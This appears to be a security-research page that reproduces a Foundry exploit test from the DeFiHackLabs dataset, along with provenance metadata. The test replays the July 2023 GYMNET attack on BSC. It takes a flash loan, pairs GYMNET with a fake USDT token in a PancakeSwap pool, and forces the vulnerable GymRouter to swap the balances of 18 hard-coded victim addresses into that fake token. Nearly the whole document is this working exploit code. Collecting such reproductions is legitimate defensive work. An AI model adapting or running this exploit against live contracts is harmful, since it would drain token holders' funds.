Public reproduction file

src/test/2023-07/GYMNET_exp.sol

Public reproduction file for dataset entry GYMNET.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-07/GYMNET_exp.sol147 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : Unclear
8// Attacker : https://bscscan.com/address/0x97eace4702217c1fea71cf6b79647a8ad5ddb0eb
9// Attack Contract : https://bscscan.com/address/0xb8f83f38e262f28f4e7d80aa5a0216378e92baf2
10// Vulnerable Contract : https://bscscan.com/address/0x6b869795937dd2b6f4e03d5a0ffd07a8ad8c095b
11// Attack Tx : https://bscscan.com/tx/0x7fe96c00880b329aa0fcb00f0ef3a0766c54e13965becf9cc5e0df6fbd0deca6
12 
13// @Analysis
14// https://twitter.com/AnciliaInc/status/1686605510655811584
15 
16interface IGymRouter {
17    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
18        uint256 amountIn,
19        uint256 amountOutMin,
20        address[] memory path,
21        address to
22    ) external;
23}
24 
25contract GYMTest is Test {
26    IERC20 GYMNET = IERC20(0x0012365F0a1E5F30a5046c680DCB21D07b15FcF7);
27    IERC20 fakeUSDT = IERC20(0x2A1ee1278a8b64fd621B46e3ee9c08071cA3A8a5);
28    // PancakeSwap V2: GYMNET-fakeUSDT
29    IERC20 CakeLP = IERC20(0x8e1b75e6c43aEAf5055De07Ab4b76E356d7BB2db);
30    Uni_Pair_V2 PancakePair = Uni_Pair_V2(0xf5D3cba24783586Db9e7F35188EC0747FfB55F9B);
31    Uni_Router_V2 PancakeRouter = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
32    IGymRouter GymRouter = IGymRouter(0x6b869795937DD2B6F4E03d5A0Ffd07A8AD8c095B);
33 
34    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
35 
36    function setUp() public {
37        cheats.createSelectFork("bsc", 30_448_986);
38        cheats.label(address(GYMNET), "GYMNET");
39        cheats.label(address(fakeUSDT), "fakeUSDT");
40        cheats.label(address(CakeLP), "CakeLP");
41        cheats.label(address(PancakePair), "PancakePair");
42        cheats.label(address(PancakeRouter), "PancakeRouter");
43        cheats.label(address(GymRouter), "GymRouter");
44    }
45 
46    function testExploit() public {
47        // Attacker deploys fakeUSDT contract，forcing victim's gym to exchange fakeUSDT to earn
48        // Start with below amount of fakeUSDT. Crucial for further adding liquidity to PancakeRouter
49        // Attack contract already had fakeUSDT balance in attack tx
50        deal(address(fakeUSDT), address(this), 9_990_000 * 1e18);
51        // emit log_named_decimal_uint(
52        //     "Attacker fakeUSDT balance before exploit",
53        //     fakeUSDT.balanceOf(address(this)),
54        //     fakeUSDT.decimals()
55        // );
56        emit log_named_decimal_uint(
57            "Attacker GYMNET balance before exploit", GYMNET.balanceOf(address(this)), GYMNET.decimals()
58        );
59        console.log("1. Taking GYMNET flashloan");
60        PancakePair.swap(1_010_000 * 1e18, 0, address(this), new bytes(1));
61    }
62 
63    function pancakeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external {
64        GYMNET.approve(address(PancakeRouter), ~uint256(0));
65        fakeUSDT.approve(address(PancakeRouter), ~uint256(0));
66        CakeLP.approve(address(PancakeRouter), ~uint256(0));
67 
68        console.log("2. Adding GYMNET-fakeUSDT liquidity");
69        PancakeRouter.addLiquidity(
70            address(GYMNET),
71            address(fakeUSDT),
72            GYMNET.balanceOf(address(this)),
73            fakeUSDT.balanceOf(address(this)),
74            0,
75            0,
76            address(this),
77            block.timestamp + 1000
78        );
79 
80        emit log_named_decimal_uint(
81            "2a. Added attacker's liquidity", CakeLP.balanceOf(address(this)), CakeLP.decimals()
82        );
83 
84        address[] memory victims = new address[](18);
85        victims[0] = 0x0C8bbd0629050b78C91F1AAfDCF04e90238B3568;
86        victims[1] = 0xbDFcA747646975F3bb9dA26BD55DAf2168c40Fe7;
87        victims[2] = 0x4AD478039bE7D1aD17C2eCBEb1029c29366c2789;
88        victims[3] = 0x081c96340738e397111E010137E04E97fB444E74;
89        victims[4] = 0xb611329241a51F84519BDc773E5E98F94e2D7491;
90        victims[5] = 0x3720d2BbFC8Bd5d6D62c8bf71fFD33Ea20cbEAE5;
91        victims[6] = 0x07E12a333B500a2f7048131400f0D216eb226F10;
92        victims[7] = 0xe01edc2B47576bf4aEF9fa311B1f16961c634F76;
93        victims[8] = 0x96346D0302E8640fbB165040B3d039bf10ce9565;
94        victims[9] = 0x88c08aafFDd547EBa783c84c23b549B5222fFB56;
95        victims[10] = 0x38B9a3Bd8693D59d38769A7CE8802632D1DB9D67;
96        victims[11] = 0x0E1556F63B7d30D6d7966Cb7b194eA7A8F3C588a;
97        victims[12] = 0x7E1d08f4960b3825eb3da2abbE3Cc849Ff53576c;
98        victims[13] = 0xA4265EfFEeeeC7dbc5b323610ccD738E8A1aE298;
99        victims[14] = 0xE62551B1385FD59C6A39224838Ba432B0F7735f2;
100        victims[15] = 0xE52234Ed813EBFC625477B4626AB84Ea09A82556;
101        victims[16] = 0x819B684fd18D0512EFC89c81aEAadFDdA61Fa7fC;
102        victims[17] = 0xd6c382B2624293cEf5A43E30e12cc0e6b3DEd153;
103 
104        console.log("3. Exploiting vulnerability in gym router...");
105        for (uint256 i; i < victims.length; ++i) {
106            GYMNETTofakeUSDT(victims[i]);
107        }
108 
109        emit log_named_decimal_uint(
110            "4. Removing GYMNET-fakeUSDT liquidity", CakeLP.balanceOf(address(this)), CakeLP.decimals()
111        );
112        PancakeRouter.removeLiquidity(
113            address(GYMNET),
114            address(fakeUSDT),
115            CakeLP.balanceOf(address(this)),
116            0,
117            0,
118            address(this),
119            block.timestamp + 1000
120        );
121 
122        console.log("5. Repaying GYMNET flashloan");
123        GYMNET.transfer(address(PancakePair), 1_043_936 * 1e18);
124 
125        // emit log_named_decimal_uint(
126        //     "Attacker fakeUSDT balance after exploit",
127        //     fakeUSDT.balanceOf(address(this)),
128        //     fakeUSDT.decimals()
129        // );
130        emit log_named_decimal_uint(
131            "Attacker GYMNET balance after exploit", GYMNET.balanceOf(address(this)), GYMNET.decimals()
132        );
133    }
134 
135    function GYMNETTofakeUSDT(
136        address victim
137    ) internal {
138        address[] memory path = new address[](2);
139        path[0] = address(GYMNET);
140        path[1] = address(fakeUSDT);
141        uint256[] memory amounts = PancakeRouter.getAmountsOut(GYMNET.balanceOf(victim), path);
142        uint256 amountOutMin = amounts[1] - (amounts[1] / 20);
143        GymRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
144            GYMNET.balanceOf(victim), amountOutMin, path, victim
145        );
146    }
147}

Analysis

Dataset entry

Public Foundry test for “GYMNET” (2023-07-31). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

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src/test/2023-07/Curve_exp01.solSame month in the dataset · 95 lines
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src/test/2023-07/Libertify_exp.solSame month in the dataset · 149 lines
src/test/2023-07/MintoFinance_exp.solSame month in the dataset · 104 lines
src/test/2023-07/NewFi_exp.solSame month in the dataset · 99 lines
src/test/2023-07/Palmswap_exp.solSame month in the dataset · 105 lines
src/test/2023-07/Platypus02_exp.solSame month in the dataset · 93 lines
src/test/2023-07/RodeoFinance_exp.solSame month in the dataset · 152 lines
src/test/2023-07/SUT_exp.solSame month in the dataset · 104 lines
src/test/2023-07/USDTStakingContract28_exp.solSame month in the dataset · 64 lines
src/test/2023-07/Utopia_exp.solSame month in the dataset · 86 lines
src/test/2023-07/WGPT_exp.solSame month in the dataset · 140 lines
src/test/2022-06/Gym_2_exp.solSame protocol or name in the dataset · 24 lines

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0x97eace4702217c1fea71cf6b79647a8ad5ddb0eb
Attack Contract
0xb8f83f38e262f28f4e7d80aa5a0216378e92baf2
Vulnerable Contract
0x6b869795937dd2b6f4e03d5a0ffd07a8ad8c095b

Attack Tx
0x7fe96c00880b329aa0fcb00f0ef3a0766c54e13965becf9cc5e0df6fbd0deca6

File record

Name: GYMNET
Path: src/test/2023-07/GYMNET_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: 64bc690cac83caf38ac5e693eda947f9cb35139b
Language: Solidity
Size: 148 lines
Date: 2023-07-31
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2023-07/GYMNET_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 64bc690cac83caf38ac5e693eda947f9cb35139b, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.